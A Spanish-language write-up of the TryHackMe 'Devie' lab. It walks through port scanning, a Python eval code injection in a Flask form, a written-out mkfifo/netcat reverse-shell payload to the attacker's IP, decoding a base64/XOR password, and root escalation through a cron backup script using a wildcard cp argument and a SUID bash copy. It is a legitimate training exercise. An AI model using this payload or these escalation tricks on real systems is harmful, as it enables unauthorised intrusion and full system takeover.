Devie - TryHackMe
SUMMARY
Debemos encontrar tres banderas. Donde a partir de un escaneo de puertos pude saber que hay un servicio desconocido, SSH. Además, gracias a una respuesta HTTP emitida por el servidor web pude saber que hay una aplicación web alojado en el servidor web. Luego, analizando el código fuente de la aplicación web, que constaba de tres formularios, pude notar que utilizaba la función eval sin ninguna verificación en los datos que se le pasaba. Por lo tanto, inserte código malicioso en uno de los campos del formulario de la aplicación web para generar una reverse Shell a traves de la función eval. Luego, para la escalada privilegio horizontal, logre decodificar la contraseña de un usuario local codificada con base64 y XOR. Luego, para la escalada privilegio vertical, logre crear una copia del archivo binario Bash con el bit SUID habilitado aprovechando el sudo del comando copy y wilcard en un script en Bash ejecutado de manera periódica y automatizada por root.
FASE RECONOCIMIENTO ACTIVO
En este caso debemos acceder al sistema destino y obtener las banderas. Para ello empezaremos utilizando el comando openvpn con el fin de establecer una conexión VPN con la red virtual dónde está la máquina Devie v2. Para ello utilizaremos el archivo de configuración, que lo podemos descargar en la plataforma de Tryhackme, que puede incluir información como la dirección del servidor VPN, los certificados y claves de seguridad, la configuración de encriptación, etc.
Luego de que se establece la conexión VPN se crea una interfaz virtual de red en nuestra máquina. Donde se enruta todo el tráfico de red a través de esa interfaz.
Además, la plataforma de Tryhackme nos muestra la dirección IP de la máquina Devie v2.
FASE ESCANEO Y ENUMERACION
Luego pasaremos a la fase de Escaneo y Enumeración con el fin de poder escanear los puertos del nodo. Además, obtendremos los servicios que se han levantado en los puertos abiertos, las versiones de los servicios, y el sistema operativo de la máquina Devie v2. Para ello utilizaremos Nmap
. Donde le pasaremos los siguientes parámetros:
- El parámetro -sC o –script=”default” para utilizar todos los scripts de la categoría default con el fin de realizar un escaneo y detección de los puertos de manera avanzada.
- El parámetros -sV con el fin de conocer las versiones de los servicios levantados en los puertos abiertos.
- El parámetro -n para evitar la resolución DNS, y el parámetro –max-rate para indicarle el número máximo de paquetes por segundo que va a utilizar Nmap para el escaneo con el fin de evitar sobrecargar la red con el tráfico generado por la herramienta.
- El parámetro -Pn para evitar que Nmap, que realice ningún tipo de sondeo o ping hacia el sistema destino con el fin de determinar si el host está vivo o activo, y realice el escaneo de puertos directamente.
- El parámetro -p- para realizar un escaneo de los 65535 puertos del nodo y el parámetro –open con el fin de que nos muestre información solo de los puertos abiertos.
Los resultados que obtuvimos del escaneo vienen a ser:
- Un servicio desconocido ejecutado en el puerto 5000. Además, si observamos la respuesta HTML emitida por un servidor web, nos podemos dar cuenta en el encabezado HTTP Server, que se ha levantado un servidor web con el framework Werkzeug, que es utilizado para desplegar aplicaciones web en Python. Además, en el cuerpo de la repuesta HTML podemos observar el encabezado HTTP Title de una pagina web. Por lo tanto, es probable es que haiga una aplicación web almacenada en el servidor Web.
- Un programa servidor SSH en el puerto 22.
Ahora accederemos a la pagina web almacenada en el servidor web del puerto 5000 a traves del navegador web.
Podemos observar que se trata de una aplicación web que consta de tres funcionalidades.
- Determinar si un número es primo o no.
-
Determinar las dos raíces de una ecuación cuadrática a partir de la formula cuadrática.
- Determinar las raíces de una función en un intervalo dado a partir del método de la bisección.
Además, lo más inusual es que nos proveen un enlace para descargar el código fuente de la aplicación web y cada una de sus funcionalidades.
Observando el código fuente de la aplicación web, podemos deducir que se ha creado y configurado la aplicación web con Flask. Además, observando el código correspondiente a la funcionalidad Bisection Method, la aplicación utiliza la función eval, que evalúa expresiones y cadenas de caracteres como si fuera código Python, para sumar los valores ingresados en el campo xa y xb. Además, observamos que las entradas que hace el usuario en los campos xa y xb del formulario Bisection Method, se pasan a la función eval sin ningún tipo de verificación o comprobación.
FASE GANARA ACCESO O EXPLOTACION O HACKING
Ahora aprovecharemos en insertar código malicioso: __import__('os').system('mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.8.123.194 1500 >/tmp/f')
en uno de los campos del formulario Bisection Method para ejecutar una reverse Shell.
Podemos observar que logramos acceder al sistema destino siendo el usuario local bruce ya que la aplicación web se está ejecutando con su cuenta. Si quiere obtener más información sobre esta vulnerabilidad puede revisar este sitio web: https://vk9-sec.com/exploiting-python-eval-code-injection/.
FASE ESCALADA PRIVILEGIOS
Ahora convertiremos nuestra reverse Shell en una Shell más estable e interactiva con el fin evitar de que se cierre con errores simples. Luego, buscaremos vectores de escalada privilegio de manera manual en el sistema de archivos del sistema destino.
Podemos observar que el usuario bruce puede ejecutar un script en Python cuyo propietario es el usuario local Gordon. Además, podemos observar que no tenemos ningún permiso habilitado en el script. Además, en un archivo de texto llamado note, encontrado en el directorio home del usuario bruce, encontramos detalles sobre lo que hace el script en Python. Donde primero realiza una operación XOR con el valor solicitado por el script y con una llave o clave, que desconocemos. Luego, se realiza una codificación base64 con el resultado de la operación XOR. Además, en el archivo note encontramos una cadena de caracteres que posiblemente viene a ser la contraseña codificación con la operación XOR y base64.
Ahora que sabemos que hace el script en Python, debemos encontrar la clave para decodificar la contraseña del usuario local Gordon. Para ello utilizaremos varias operaciones XOR con diferentes strings, codificados en base64 y XOR, y sus respectivos strings sin codificar con el fin determinar el valor de la clave o llave.
Podemos observar que la clave viene a ser supersecretkeyxorxor.
Ahora decodificaremos el string brindando en el archivo note y que posiblemente puede ser su contraseña del usuario local Gordon.
De esta manera realizamos una escalada de privilegios aprovechando este script en Python.
Ahora realizaremos una enumeración manual sobre el sistema de archivos del sistema destino con el fin de buscar vectores de escalada privilegio en el sistema de archivos de este nuevo usuario local.
Podemos observar que en el directorio home del usuario gordon, hay dos subdirectorios llamados backups y reports que constan de tres archivos con los mismos nombres y contenidos. La primera impresión que tenemos es que los archivos del subdirectorio backups se tienden a renovar ya que su fecha de modificación varía cada cierto tiempo. Además, aquella modificación se está realizando con los privilegios del usuario root. Por lo tanto, esto nos da a suponer que el usuario root puede haber configurado una tarea cron. Para verificar esta suposición, utilizaremos pspy64 con el fin de numerar los procesos que se están ejecutando en tiempo real en el sistema destino.
Podemos observar que la tarea cron del usuario root viene a ser un script Bash llamado backup que va a copiar de manera periódica y automatizada todo el contenido del subdirectorio reports en el subdirectorio backup.
Ahora aprovecharemos que los archivos, que se copian el subdirectorio backup, son de propiedad del usuario root para crear una copia del archivo binario ejecutable bash en el subdirectorio reports con el bit SUID habilitado. Además, crearemos otro archivo en el subdirectorio reports con el nombre –preserve=mode con el fin de el bit SUID se conserve cuando se copia el script en Bash en el subdirectorio backups.
Podemos observar que logramos crear un archivo binario ejecutable bash con el bit SUID habilitado siendo el propietario root. Por lo tanto, ahora podemos ejecutar este archivo binario con los privilegios elevados para obtener una Shell bash con los privilegios de root.
De esta manera logramos realizar una escalada privilegio vertical.
Ahora buscaremos las tres banderas.